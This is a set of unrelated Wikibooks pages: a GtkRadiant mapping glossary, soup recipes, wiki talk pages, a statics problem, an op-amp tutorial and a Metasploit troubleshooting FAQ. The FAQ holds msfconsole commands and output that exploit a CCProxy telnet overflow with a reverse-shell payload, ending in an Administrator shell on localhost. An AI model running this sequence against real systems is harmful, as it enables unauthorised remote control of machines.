text:
GtkRadiant/Glossary

Here is a list of those terms people will have difficulties understanding; this will be expanded while writing and difficult words will be added to this list as the book grows. The following are some basic words:

A

 * Alpha Shadows
 * A technique for lighting in a map that results in controlled shadows in the finished map. Typically, it is used to project shadows through textures such as grates or glass that are partially or mostly transparent, simulating realistic shadowing on the receiving surface.

 * Areaportal
 * An areaportal is a type of brush, defined by using the system/areaportal texture. Areaportals are most commonly used in doors. They block the -VIS process ingame, meaning your computer does not draw what is behind the areaportal. When the door containing the areaportal is triggered, it tells your computer to render and draw the room behind the areaportal. This is a very common, simple, and effective technique to improve FPS in a map.

B

 * Brush
 * The basic building block of GTKRadiant. It is used primarily to define the physical structure of the area being designed. The term brush is used by GTK to refer to anything that is not an entity, and therefore also encompasses patch meshes. A brush can be made to represent anything from solid matter (metal, dirt, wood, etc.) to liquids (lava, water, etc.) to gases (fogs), depending on the textures and shaders applied to them.

C

 * Caulk
 * A System shader designed to 'caulk' or seal a map. In-game, it is a transparent solid texture. It is best applied to all surfaces which a player will be unable to see while in-game.

 * Clipper
 * The Clipper Tool is used to clip (IE, cut away) parts of a brush in order to alter it's shape. This is generally used to turn a standard 6 sided brush into a brush with fewer or more sides, depending on what is required for it's placement. It has two versions; two-point clip cuts along a single plane, and three-point clip can create a cut along all three dimensions, depending on point placement.

D

 * Detail Brush
 * A detail brush is a type of brush that does not block the -VIS stage of the compiler. Summarily, any brush that does not provide structure/seal to a room, and merely is there to detail the room, should be made a detail brush [ctrl + M].

E

 * Entity
 * An object used to interact with the game, see GtkRadiant/Entities.

 * Entity Window
 * See GtkRadiant/The Entity Window.

F
Fog

G

 * Grid
 * A grid is a framework with vertical and horizontal lines in unison used to structure content. The grid, in GtkRadiant, is to the left, where you build your world.

L
Light
 * A light is an entity that creates light and adds color to surfaces of brushes around it. Proper lighting can make any map look appealing.

M

 * Model
 * A model is a pre-made piece of geometry which can be put into a map. The models available differ from game to game.

N

 * Npc
 * Npc is an abbreviation of non-player character (sometimes "non-playable character" or "non-player class"). It's a character in a computer game whose actions are not controlled by a human player.

O

 * Origin
 * The center point of the map, i.e. 0,0,0.

P

 * Patch Mesh
 * A sub-type of brush used to simulate curves in the Quake 3 engine. It is generated by a matrix of vertexes which can be moved independently of each other to form the curved shape. GtkRadiant has three standard types (Bevel, Endcap, and Cylinder) that will generate most needed curves, as well as the ability to create 'simple patch meshes' that allow for a free-form shaping. Patch Meshes are only visible from one side, and cannot be used reliably for fog, water, or any other spatial type of shader effect.

 * Prefab
 * A prefab are a group of brushes which can be imported to your map. The difference between a prefab and a model are that prefabs sill consist of individual brushes whereas models are made out of already compiled polygons.

Q

 * Q3Map
 * Q3Map2 The original tool created by Id to compile maps for the 'id tech 3' engine.

 * Q3Map2
 * Q3Map2 Vastly improved Q3Map by ydnar.

S

 * Script
 * A script is a set of written instructions used by the Quake 3 Engine to produce certain specific effects. There are two primary types - Shaders and Icarus Scripts. Typically, usage of the word script in forums or other media is a reference to the later, while the former is commonly referred to as a shader. Icarus Scripts are used to create effects in-game that can do anything from move a brush or set of brushes from point A to point B all the way to full Cinematics in SP games.

 * Shader
 * A script which defines the properties of the surface it is applied to. In fact, all textures which don't have a shader associated to them automatically get a default shader. Shaders are used to make lights glow, make floors be reflective, or make things non-solid or even water. Actually any special property a surface has is set by its shader. There are also many default shaders that come with the game such as . In GtkRadiant all shaders have a white border around them when browsed in the textures browser.

A technique to make a more plastic sky.
 * Skybox

T

 * Texture
 * An image or graphic which can be applied to a surface. See also.

V

 * Vertex
 * The points between which the faces of the brush are drawn, usually the corners of a brush.

 * Void
 * The gray area outside of the map itself, where nothing is. If there's a way to get to this area from any entity in the map, the map is leaked.

W

 * Worldspawn
 * The entity that contains all the regular brushes in your map, so every brush you create will be added to the worldspawn entity.

Z

 * Z-Fighting
 * A common mapping error relating to texture placement and brush alignment. It is cause when the faces of two brushes either completely or partially occupy the same plane, and are textured with either two different textures or the same texture with different settings. Visually in game, it is characterized by that plane showing both textures at the same time on that face, resulting is what looks like the textures 'fighting' to be shown.

title: GtkRadiant/Glossary


text:
Cookbook:Pasta Soup for Kids

| American cuisine | Pasta | Soups

Ingredients

 * 1 quart vegetable broth
 * ½ cup carrots, in tiny cubes (the size of small peas)
 * ½ cup diced zucchini
 * ½ cup diced yellow crooked-neck squash
 * ½ cup baby corn, ¼-inch pieces (or ¼ cup frozen corn—see notes)
 * ½ cup small peas (frozen—see notes)
 * ½ cup minced firm tofu
 * 1–1½ cups cooked small pasta (see notes)

Procedure

 * 1) Bring broth to boil in a medium-sized saucepan.
 * 2) Add carrots, and lower the heat to a simmer.
 * 3) Cook for 5 minutes, or until carrots are just tender.
 * 4) Add zucchini, squash, and corn.
 * 5) Simmer for 5 minutes, then stir in peas, tofu, and cooked pasta.
 * 6) Simmer just a couple of minutes longer.
 * 7) Serve hot (or very warm) in small bowl with small spoons.

Notes, tips, and variations

 * Use small pasta (alphabets, little circles, little stars, and/or orzo) to delight kids!
 * Cook pasta and store in water, covered, in the refrigerator until use. Drain well to add to the hot broth.
 * Frozen vegetables can be added to the broth frozen.

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

title: Cookbook:Pasta Soup for Kids


text:
User talk:67.159.44.206

I saw some of the garbage you have been adding, and if you don't stop you will be blocked. --Whiteknight (Page) (Talk) 15:57, 29 June 2007 (UTC)

 * Nevermind, I blocked you. --Whiteknight (Page) (Talk) 16:01, 29 June 2007 (UTC)

title: User talk:67.159.44.206


text:
GtkRadiant/Introduction

You have probably already done the GtkRadiant/installation or at least found out what GtkRadiant is, otherwise you would not have found this book, but, to tell it again, its a Level Design program also known as mapping program, with it, you make and design maps to play in all games based on the id Tech 3 engine. Technically, GtkRadiant will create .map files, which then are compiled by the compiler Q3Map2. You have probably already downloaded a few maps, and are now interested in making some maps yourself, if this is the case, then this is a good place to learn. If you already have mapped for some time, but want to learn a bit more, this will be a good place to learn, after I have written some more stuff.

Game packs exist for the following games. Generally, this includes support for all expansions and modifications as well.

 * Doom 3- A Windows-only variant called D3Radiant (based on Q3Radiant, not GtkRadiant) is integrated into Doom 3. GtkRadiant 1.5.x can be used to make Doom 3 maps in Linux, by utilizing Doom 3's integrated map compiler in conjunction.
 * Quake
 * Quake II
 * Quake III Arena
 * Quake 4- Being based on the id tech 4 engine, it also uses a version of D3Radiant internally. However, GtkRadiant 1.5 can still be used to create maps on Linux.
 * Return To Castle Wolfenstein
 * Wolfenstein: Enemy Territory
 * Half-Life
 * Heretic II
 * Soldier of Fortune II: Double Helix
 * Star Trek: Voyager Elite Force
 * Star Wars Jedi Knight II: Jedi Outcast
 * Star Wars Jedi Knight: Jedi Academy
 * Medal of Honor: Allied Assault
 * Call of Duty
 * Call of Duty 2
 * Nexuiz
 * Xonotic
 * Tremulous
 * War§ow
 * Prey
 * Darkplaces
 * UFO: Alien Invasion

In addition, the following games and projects use GtkRadiant as a map editor, by using the GtkRadiant Quake III Arena game pack and an external map compiler or converter:

 * Neverball
 * Crystal Space game engine
 * Irrlicht Engine (supports Q3A .bsp files)
 * Blob Wars : Blob And Conquer (custom game pack)

title: GtkRadiant/Introduction


text:
GtkRadiant/Getting around in GtkRadiant

Now that you have downloaded, installed and started GtkRadiant, you will probably start to draw around a bit with your mouse, and you will see that where ever you draw on the grid, a red square will appear, now you may think, is this really the program all others made those awesome maps in, the answer is probably yes, so, how is this done, first of all, you have to learn the interface.

title: GtkRadiant/Getting around in GtkRadiant


text:
User:Gopal1035

What is Gopal Aggarwal upto these days?

title: User:Gopal1035


text:
User:Ms2ger/monobook.css

h3#siteSub { display: none; }

title: User:Ms2ger/monobook.css


text:
User:Robert Horning/LOC QA 76

 * BC135 - Formal Logic

 * GV1469 - Computer Games

 * HD9696.2 - Computer Industry

 * HF5548.4 - Business Software

 * LB1028.46 - Computer Aided Instruction

 * T385 - Computer Graphics - techniques and how they are made
 * TK5105.55 - Computer network protocols & Computer Networks
 * TK7885 - Computer Engineering
 * TK7885.7 - Computer Hardware Description Languages (aka Verilog, VHDL, ELLA, CONLAN, etc.)
 * TK7887.5 - Computer I/O Equipment - Interface standards (aka IDE, ISA, PCI, etc.)
 * TK7888.4 - Computer Circuits
 * TK7895 - Computer Storage Devices

 * TR897.7 - Computer Animation

 * QA75.5 - Computer Science
 * QA76.33 - Computer Camps
 * QA76.6 - Computer Programming
 * QA76.7 - Programming Languages
 * QA76.73.B3 - BASIC
 * QA76.73.C - C Programming Language
 * QA76.76.C672 Computer Game Programming
 * QA76.76.C68 - Computer Viruses
 * QA76.76.D47 - Computer Programming Development
 * QA76.76.O63 - Operating Systems (Linux, Windows, OS/X, etc.)
 * QA76.76.R47 - Computer Programming Reusability
 * QA76.76.V47 - Verification and Validation
 * QA76.765 - Computer Firmware
 * QA76.9.A73 - Computer Architechture
 * QA76.9.B84 - Computer BBS Systems
 * QA76.9.F34 - Computer system failures
 * QA76.9.L63 - Computer logic
 * QA76.9.M35 - Computer Science Mathematics - Discrete Mathematics

 * QA269 - Game Theory

title: User:Robert Horning/LOC QA 76


text:
XForms/Saving Intermediate Form Data

= NOTE – this page is in development =

= Saving Intermediate Form Data = This example will show you how to save intermediate form data to a local disk.

= Motivation = Sometimes long forms take a while to fill out. You would like to allow users to fill out part of a form, log off, and resume their form when they return. Sometimes this intermediate data can be used as a default template for fields that are re-entered frequently by form users.

= Cross Domain Posting A Security Concern = By default, XForms will not allow a form to be served from one domain and then access another domain without the user being warned. This could allow a nefarious form to access local files without authorization.

This is reflected in the fact that the "src" tag in the instance can only reference a hard-coded static string. You can not load a local file into an instance if the form was loaded from a web server.

Note that you can read and write a local file on the local file system with an XForms application that supports the file: type such as FireFox. But the forms must have this path statically coded into the XForms instance src attribute.

= Steps =

Step 1: Save to Client
Save instance data:

Step 2: Read From Client
Save instance data:

Note that to find the file you can use the  control:

The value of the  attribute in both  s   and   should be a variable:   should be automatically changed to   value.

= Solution =

To get this to work you have to deal with the security concerns...

= Notes = There was a reference to using the chrome:// prefix not the file:// prefix on one posting..but no example was given. There was also some discussion of saving to a cookie using cookie://

= References =
 * Cross Domain Submission
 * Comments from Mark Bireck

title: XForms/Saving Intermediate Form Data


text:
Cookbook:Spicy Chickpea Soup

| Legumes | Soups

Ingredients

 * 2 cans (32 ounces) chickpeas, drained
 * 1 can (14 ounces) light coconut milk
 * 1 cup low-sodium chicken broth
 * ½ cup prepared salsa
 * 1½ teaspoons garam masala
 * 1 teaspoon ground ginger
 * 2 tablespoons frozen apple juice concentrate
 * ¼ cup packed cilantro leaves

Procedure

 * 1) Purée all ingredients in a blender until smooth.
 * 2) Heat in a large saucepan or Dutch oven, and bring to a simmer.
 * 3) Simmer, stirring often, 4–5 minutes, to blend flavors.

Notes, tips, and variations

 * Garnish with ¼ cup plain yogurt and ¼ cup thinly sliced green onions.
 * Replace the chicken broth with vegetable stock for a vegan dish.

title: Cookbook:Spicy Chickpea Soup


text:
User talk:72.36.130.90

This IP address has been blocked from editing for a period of 1 week because of a series of page creation vandalism which consisted of nonsense. After the block has ended you may return but please help the project rather than vandalise it.

Xania talk 21:46, 29 June 2007 (UTC)

title: User talk:72.36.130.90


text:
Statics/Multiforce Members

There are many structural problems in statics that do not involve a truss. For example, a beam is not loaded axially. A beam is analyzed in terms of bending moments and shear. Many simple tools can be analyzed with statics.

Question

The picture to the right shows a tool used to compress springs. In the tool's current state a person is squeezing the pliers with 40 Newtons applied to each handle to hold the spring(shown in orange) in a steady partially compressed state. The black circle is a pin (a pin can transfer forces, but cannot resist turning). The forces used to squeeze the pliers are vertical in addition to the forces applied on the spring.

Find the compressive force on the spring and the force on the pin.

Hint
Think of how the plier components can be disassembled and analyzed for equilibrium.

Answer

If the pin in the question's picture was welded to the hole it fits in, the force from the spring could be any value; however, the pin is free to rotate (it can't resist a turning moment) so the picture to the left can be used for further analysis.

If moments are summed about the black pin (let's designate it "pin A"), the spring force(designated "F") can be solved for.

$$\sum M_A = 0 = -6 in*40N + 2 in*F$$

$$\ F = 120N $$

This means the spring is being compressed with 120N.

The force in the pin can be solved for with force equilibrium. Let's call the pin's $$ x $$ force $$ P_x $$ and the $$ y $$ force $$ P_y $$.

$$\sum F_x = 0 = P_x $$

$$\sum F_y = 0 = 40N + P_y + 120N $$

$$\ P_y = -160N $$

Since the equations were written in terms of the assumed force directions pictured and since $$ P_y $$ is negative, the force acts in the opposite direction as shown in the picture.

The pin exerts a downward force on the handle shown in the left picture, but it exerts an upward force of the same magnitude on the other handle. This statement is very important and can be further explained by the picture to the right. The picture shows a dark gray and light gray rectangle. The light and dark gray corresponds to the previous pictures. The black rectangle represents the pin which goes through both handles as indicated with dashed lines. The dark handle is exerting an upward force of 160N on the pin and the light handle is exerting a downward force of 160N on the pin. Because the forces are equal and opposite the pin does not travel vertically. The force from the dark handle is transmitted through the pin to the light handle and the force from the light handle is transmitted through the pin to the dark handle. The pin is in 160N of shear.

title: Statics/Multiforce Members


text:
Metasploit/Frequently Asked Questions

=Installation=

no such file to load -- openssl (LoadError)
Q: When running Metasploit for the first time, I get the error: no such file to load -- openssl (LoadError)

 * Example:

[~/metasploit]# ./msfgui ./lib/rex/socket/ssl_tcp_server.rb:4:in `require': no such file to load -- openssl (LoadError) from ./lib/rex/socket/ssl_tcp_server.rb:4 from ./lib/rex/socket/comm/local.rb:5:in `require' from ./lib/rex/socket/comm/local.rb:5 from ./lib/rex/socket.rb:22:in `require' from ./lib/rex/socket.rb:22 from ./lib/rex.rb:71:in `require' from ./lib/rex.rb:71 from ./msfgui:10:in `require' from ./msfgui:10

A: Metasploit requires the Ruby implementation of openssl - not the standard C implementation of openssl used by Apache etc. Install the relevant ruby-openssl library.

pwebster@metasploit:~$ apt-cache search ruby | grep openssl libopenssl-ruby - OpenSSL interface for Ruby libopenssl-ruby1.8 - OpenSSL interface for Ruby 1.8 libopenssl-ruby1.9 - OpenSSL interface for Ruby 1.9
 * Example (for Debian - check your OS or try using gem):

pwebster@metasploit:~# apt-get install libopenssl-ruby

=Exploit Modules=

Exploit failed: No encoders encoded the buffer successfully
Q: After setting all the required parameters for an exploit module and running exploit, I receive the following error: [-] Exploit failed: No encoders encoded the buffer successfully.

 * Example:

msf > use windows/proxy/ccproxy_telnet_ping msf exploit(ccproxy_telnet_ping) > info

Name: CCProxy <= v6.2 Telnet Proxy Ping Overflow Version: $Revision$ Platform: Windows Privileged: No   License: Metasploit Framework License

Provided by: Patrick Webster

Available targets: Id Name --                                    0   Windows 2000 Pro SP0 - English 1  Windows 2000 Pro SP1 - English 2  Windows 2000 Pro SP2 - English 3  Windows 2000 Pro SP3 - English 4  Windows 2000 Pro SP4 - English 5  Windows XP SP0/1 - English 6  Windows 2003 Server SP0/1 - English

Basic options: Name  Current Setting  Required  Description ---   ---           RHOST  127.0.0.1        yes       The target address RPORT 23               yes       The target port

Payload information: Space: 200 Avoid: 5 characters

Description: This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service. The stack is overwritten when sending an overly long address to the 'ping' command.

msf exploit(ccproxy_telnet_ping) > set TARGET 4 TARGET => 4 msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp msf exploit(ccproxy_telnet_ping) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf exploit(ccproxy_telnet_ping) > check [*] The target appears to be vulnerable. msf exploit(ccproxy_telnet_ping) > exploit [-] Exploit failed: No encoders encoded the buffer successfully.

A: The payloads available (show payloads) are determined by the memory 'Space' available for the exploit to use. In the above example, the payload space is: 'Space: 200'. However, the target application does not allow certain characters to be used (usually the null character 0x00 as this denotes the end of a string [character array]). In the example the payload cannot permit five characters: 'Avoid: 5 characters '

When you run the exploit, the payload generators will attempt to fit your desired payload into a space of 200 which excludes 5 specific characters. This is not always possible, and will result in the error: No encoders encoded the buffer successfully.

However, all is not lost. The Metasploit Framework includes the ability to support staged payloads. A staged payload is a significantly smaller payload which, instead of executing your desired action (such as reverse shell), will start a staging platform which can then add to that platform. So in our example, instead of a complete reverse shell, it will:

 * 1) Create the staging platform.
 * 2) Allocate enough memory to hold your desired payload.
 * 3) Obtain the rest of the payload from you.
 * 4) Execute the payload as a whole.

Generally, all the staged exploits are denoted by the '/' after the desired payload. Some examples are:

windows/dllinject/reverse_tcp         Windows Inject DLL, Reverse TCP Stager windows/download_exec/bind_tcp        Windows Executable Download and Execute, Bind TCP Stager windows/exec/find_tag                 Windows Execute Command, Find Tag Ordinal Stager windows/meterpreter/reverse_tcp       Windows Meterpreter, Reverse TCP Stager windows/shell/reverse_tcp             Windows Command Shell, Reverse TCP Stager windows/upexec/bind_tcp               Windows Upload/Execute, Bind TCP Stager windows/vncinject/reverse_ord_tcp     Windows VNC Inject, Reverse Ordinal TCP Stager

So now that we know it cannot fit an 'Inline' payload, we can use a stager instead:

... msf exploit(ccproxy_telnet_ping) > exploit [-] Exploit failed: No encoders encoded the buffer successfully. msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(ccproxy_telnet_ping) > exploit [*] Started reverse handler [*] Trying target Windows 2000 Pro SP4 - English on host 127.0.0.1:23... [*] Sending stage (474 bytes) [*] Command shell session 8 opened (127.0.0.1:4444 -> 127.0.0.1:2016)

Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.

C:\Documents and Settings\Administrator>

title: Metasploit/Frequently Asked Questions


text:
User talk:65.189.13.244

Thanks for experimenting with Wikibooks. Your test worked, and has now been removed. Please use Sandbox for any other tests you want to do, since testing material in modules will normally be removed quickly. Please see the welcome page if you would like to learn more about contributing to our project. Thanks. Mattb112885 (talk) 02:06, 30 June 2007 (UTC)

title: User talk:65.189.13.244


text:
User:Spebi

I am Spebi, from the English Wikipedia. Any queries left on this page's talk page will not be responded to. Spebi 02:36, 30 June 2007 (UTC)

title: User:Spebi


text:
User:Patrickwebster

Patrick Webster
 * patrick at aushack dot com
 * www.aushack.com

title: User:Patrickwebster


text:
User talk:Patrickwebster

Hello, welcome to Wikibooks!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be a good idea to add this page to your "watchlist" so that you can see when any new information is posted there. You can do that by clicking the tab labeled "watch" at the top of the page.

Good luck! -- Herby talk thyme 07:11, 30 June 2007 (UTC)

New page
Hi and thanks for the contribution. However this should be a "subpage" of the Ruby book. The naming format here is Book name/Sub page name. Short of time for now but it is easy to do - just use the "move" tab and put the name in there. Call for help tho if you need it. Cheers -- Herby talk thyme 07:11, 30 June 2007 (UTC)

title: User talk:Patrickwebster


text:
User talk:Inkeys

Hi,

My name is Chun-Yi Lin. I'm a doctoral student at Indiana University. I'm interested in the application of learning theories and psychological issues in the online learning environment or blended learning environment. The projects I'm working on are about wikis and blogs. (Our Wiki research team's wiki space :Wiki-Riki http://wiki-riki.wikispaces.com/).

Please feel free to leave me a message here or email me if you're interested. My email address is cl17@indiana.edu Thank you.

inkeys

Hello, welcome to Wikibooks!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be a good idea to add this page to your "watchlist" so that you can see when any new information is posted there. You can do that by clicking the tab labeled "watch" at the top of the page.

Good luck! -- Herby talk thyme 12:14, 7 July 2007 (UTC)

title: User talk:Inkeys


text:
Circuit Idea/Op-amp Inverting Current-to-Voltage Converter

<<< contents - passive version - attractive story - page stage >>>

How to Transform the Passive Current-to-Voltage Converter into an Active One

(Reinventing the Op-amp Inverting Current-to-Voltage Converter)

Circuit idea: The op-amp compensates the internal losses caused by the resistor adding as much voltage to the input voltage source as it loses across the resistor.

Speculation: The active version is just an improved passive one
We have already revealed the secret of the most popular simple converting circuit - passive current-to-voltage converter. We know that these kinds of circuits have usually two versions - passive ("bad") and active ("good"). When we were considering the opposite voltage-to-current converter, we ascertained that there was a close interrelation between the two versions - the active circuit was derived from the passive one; it was just an improved passive version. Furthermore, we figured out how the passive version was transmuted into an active one.

Similarly, we may now suppose that there is an active current-to-voltage converter and its passive and active versions are interrelated too. Then, let's look at these two circuit implementations - the "bad" passive version (the top of Fig. 1) and the "good" active version (the bottom of Fig. 1). We can see again that the active version contains the passive one + an op-amp connected in accordance with some (maybe the same?) powerful idea:

Active I-to-V converter = passive I-to-V converter + op-amp + great idea ?

Again, we might ask ourselves, "How has the passive circuit transmuted into an active one?", "What is the idea of this connection?" and "What does the op-amp do in this circuit?" We can answer these questions by following the evolution of the passive circuit into an active one.

Problem: The internal resistor affects the current

We have already known why the simple current-to-voltage converter (Fig. 2) is an imperfect circuit - because the output voltage drop VR across the resistor R affects the input current (here we suppose that the input current is created by a real source consisting of a voltage source VIN and an internal resistance Ri).

We can look at the voltage VR from two contrary viewpoints. From the point of view of the input voltage source, the voltage drop VR is troublesome; so, the input source "would like" this voltage not to exist. Contrary, from the point of view of the load, VR is a useful voltage drop as it serves as an output quantity; so, the load "would like" this voltage to exist and even to be as high as possible. Obviously, there is a contradiction here - the voltage drop VR has to exist and, at the same time, not to exist. How do we solve this contradiction?

You can explore the operation of the passive circuit in a more attractive way if you click the Exploring button in the interactive flash movie or if you go to Stage 2 in the interactive flash builder.

Basic non-electrical idea: Removing a disturbance by an "antidisturbance"
Remember what we do in real life when we solve some problem but a disturbance caused by ourselves stands in our way. The classical remedy is to remove the cause of the disturbance. Only, it is not always possible to do that; then, we use another exotic solution - we remove the disturbance by an equivalent "antidisturbance". For this purpose, we use an additional power source (energy), which "helps" us (the main source) by compensating only the local losses caused by the internal troublesome quantity (conversely, in the opposite active voltage-to-current converter, the additional power source compensates the losses caused by the external quantity). This technique is associated with continuous wasting of additional energy but the result is zero (virtual ground ); so, we prefer to use it when we are rich and, at the same time, lazy enough:). An example: if we have broken our window in winter, we turn on a heater that compensates the thermal losses; and v.v., in summer, we turn on an air-conditioner. More examples: if our car had a collision with another car, the insurance company compensates the damages that we have caused to the other's car; if we cause troubles to others, we apologize; if we have spent money from our account, we begin depositing additional money into the account, etc. (see virtual ground page for more examples). In all these cases,

we have prepared (just in case) "standby" resources to use them, if there is a need to compensate eventual internal losses.

Building the electric circuit

Now, let us put this powerful idea into practice. The voltage drop VR across the resistor R is harmful; so, following the recipe above, we have to remove it by an "antivoltage" -VR. In other words, we have to add as much voltage to the input (excitation) voltage source VIN as is lost across the resistor R

Active I-to-V converter = passive I-to-V converter + "helping" voltage source

The best way to understand what real electronic components do is just to do their work. So, let us first build a "man-controlled" active circuit, in which a man (I might do this donkeywork:) produces the "anti-voltage" while you change the input voltage. For this purpose, I first place an additional supplementary battery BH in series to the resistor R (Fig. 3). Then, in order to compare the two voltages, I connect a zero indicator in point A, which shows the result of the comparison VA = VH - VR. See how simple it is:

Add an adjustable battery in series with the resistor and make its voltage equal to the voltage drop across the resistor!

Where to take an output from?
Now, we have to decide where to take the output (where to connect the load). Let's consider the possible solutions (see Fig. 4).

VOUT1 = VA = 0. It is natural to try using the old circuit output (the voltage of point A versus the ground). But we have just destroyed this voltage (the point A has become virtual ground)! So, we can't use this voltage as an output:(

VOUT2 = VR. Then let's try using the voltage VR across the resistor R. Only, in order to connect a load to the "floating" resistor R, the load has to have a differential input. Moreover, if the load has some resistance, it will shunt the resistor thus affecting the current. What do we do then? Recall to mind the cases from our routine when we prefer to estimate some quantity X indirectly. For this purpose, we first destroy the unknown quantity by an equal "anti-quantity" Y = X; then, we measure the "anti-quantity" Y, in order to know the magnitude of the initial quantity X. An example - classic weighing by using a balance.

VOUT3 = -VH. Eureka! We will use the "copy" voltage -VH as an output instead of the "original" voltage VR! What a great idea! First, the load will be connected to the common ground; second, it will consume energy from the "helping" source BH instead of from the input source VIN!

Exploring the electric circuit
In the beginning, imagine that there is no input excitation voltage VIN. As a result, there are no voltage drops and currents in the circuit; the needle of the zero indicator points to the zero position (Fig. 5). I am happy because there is nothing to do:)

If you increase the input voltage VIN, a current begins flowing through the resistor. As a result, a voltage drop VR appears across the resistor and the point A begins rising its potential VA (figuratively speaking, the input source "pulls" the point A up toward the positive voltage VIN). Only, I observe to my great displeasure that the needle deflects to the right and immediately react by decreasing the compensating voltage VH. Now, it "pulls" the point A down toward the negative voltage -VH until it manages to zero the potential VA (the virtual ground). Note that the two voltage sources are connected in series, in one and the same direction (- VIN +, - VH +) so that their voltages are added (let's assume that we traverse the loop clockwise). Regarding to the ground, they have opposite polarities.

In this way, the input voltage source is "helped"; its voltage increases as much (VR) as it loses across the resistor. As a result, the "troublesome" voltage VR disappears; the point A has zero voltage; it behaves as a virtual ground. The real input voltage source is "fooled": it has the illusion that its output is shorted.

You can imagine what happens when you decrease the input voltage VIN below ground. As above, I will adjust the battery voltage looking at the needle of the zero indicator, so that always VH = -VR. In electronics, in the technical world and in our human world, this action is referred to as negative feedback (a great phenomenon).

Building the electronic circuit
Let us now try to make some electronic device do this donkeywork; an op-amp seems to be a good choice. For this purpose, we connect the op-amp's output in the place of the helping voltage source and the op-amp's input to point A so that the op-amp to "help" the input source (the op-amp's output voltage and the input voltage to be summed).

Op-amp I-to-V converter = passive I-to-V converter + "helping" op-amp

Exploring the electronic circuit
In the beginning, imagine as above that there is no input excitation voltage VIN. As a result, there are no voltage drops and currents in the circuit. There is almost no voltage difference between the inverting and the non-inverting input of the op-amp; now, it is "happy" because there is nothing to do:)

Positive input voltage
If the input voltage VIN increases, an input current IIN begins flowing through the resistor R (Fig. 6). As a result, a voltage drop VR appears across the resistor and the point A begins rising its potential VA (the input source "pulls" the point A up toward the positive voltage VIN). Only, the op-amp "observes" that to its great displeasure:( and immediately reacts: it decreases its output voltage "sucking" the current IIN until it manages to zero the potential VA. Figuratively speaking, the op-amp "pulls" the point A down toward the negative voltage -V to establish a virtual ground. It does this magic by connecting a part of the voltage produced by the negative power supply -V in series with the input voltage VIN. As above, the two voltage sources are connected in series, in one and the same direction (- VIN +, - VH +) so that their voltages are added. Only, regarding to the ground, they have opposite polarities.

Negative input voltage
If the input voltage VIN decreases below ground, an input current IIN begins flowing through the resistor R in the opposite direction (Fig. 7). As a result, a voltage drop VR appears across the resistor and the point A begins dropping its potential VA (now, the input source "pulls" the point A down toward the negative voltage -VIN). Only, the op-amp "observes"' that and immediately reacts: it increases its output voltage "pushing out" the current IIN until it manages to zero the potential VA (now, the op-amp "pulls" the point A up toward the positive voltage +V in order to establish a virtual ground). It does this magic by connecting a part of the voltage produced by the positive power supply +V in series with the input voltage VIN. The two voltage sources are connected in series again, in one and the same direction (+ VIN -, + VH -) so that their voltages are added. Regarding to the ground, they have opposite polarities as above.

Conclusion. ''In the circuit of an op-amp current-to-voltage converter, the op-amp adds as much voltage to the voltage of the input source as it loses across the resistor. The op-amp compensates the local losses caused by this internal resistor (conversely, in the opposite op-amp inverting voltage-to-current converter, the op-amp compensates the losses caused by the external load).''

Applications of the op-amp I-to-V converter
Once we created a perfect current-to-voltage converter, we may use it as a building block to build more complex compound circuits. For this purpose, we have only to connect consecutively the separate building blocks.

Staying before the circuit input
First, we may connect the op-amp current-to-voltage converter before circuits having voltage input; thus we make them perceive current.

Perfect ammeter. We have already built a simple ammeter by connecting a simple current-to-voltage converter (a shunt resistor) before the voltmeter:

Compound ammeter = current-to-voltage converter + voltmeter

Similarly, we can build a perfect ammeter by connecting an op-amp current-to-voltage converter before the voltmeter (Fig. 8):

Perfect ammeter = op-amp current-to-voltage converter + voltmeter

This active ammeter does not introduces a troublesome voltage drop into the measured circuit. Only, the popular multimeters use exactly the passive version, in order to measure big currents (see comparison between the passive and active version).

Staying after the circuit output
Then, we may connect the op-amp current-to-voltage converter after circuits having current output; thus we make them produce voltage. For example, we have known how to build a simple current source. By applying this technique, we may assemble the famous op-amp circuits of inverting amplifier (Fig. 9), capacitive differentiator, inductive integrator, diode antilogarithmic converter, etc.

Op-amp inverting amplifier = V-to-I converter + op-amp I-to-V converter

Op-amp V-to-V CR differentiator = V-to-I C differentiator + op-amp I-to-V converter

Op-amp V-to-V LR integrator = V-to-I L integrator + op-amp I-to-V converter

Op-amp V-to-V DR antilog converter = V-to-I D antilog converter + op-amp I-to-V converter

In all these circuits, the voltage drop across the respective I-to-V converters does not introduce an error (precisely speaking, it will introduce an error but the op-amp will remove it).

Acting as a transimpedance amplifier
The op-amp I-to-V converter like as an op-amp V-to-I converter is an active circuit; so, we may expect it to amplify too. Really, it acts as a linear circuit with transfer ratio k = VOUT/IIN [V/mA] or ohms having dimension of resistance. That is why, they frequently name it transresistance or transimpedance amplifier (transimpedance is a contraction of "transfer impedance"). Nevertheless, let's try to answer the question, "Is the op-amp I-to-V converter an amplifier?"

Yes, it is an amplifier! The op-amp inverting I-to-V converter does not consume any power from the input source; it is just a short connection (see the explanations below about the input resistance). So, it is a more perfect amplifier than the opposite op-amp inverting voltage-to-current converter, which consumes power P = VIN2/R. To compare the two circuits, assemble again an op-amp inverting amplifier by connecting consecutively a bare resistor (R1) and a current-to-voltage converter (the resistor R2 and an op-amp OA) - Fig. 9.

Comparison between the passive and active version

Let us finally compare the two versions beginning by investigating the input and output resistances.

Input resistance. First, connect an ammeter in series with and a voltmeter in parallel to the converter's input (Fig. 10); then vary the input voltage to investigate the input resistance. Maybe you remember that in the passive version, looking from the side of the input source we were seeing two resistors connected in parallel - R and RL; so, the input resistance was RIN = R||RL. Now, we see zero resistance because the op-amp has "neutralized" the resistance R.

It is wonderful, the resistor R has disappeared! In this case, the op-amp "helps" the input voltage in its striving to change the current.

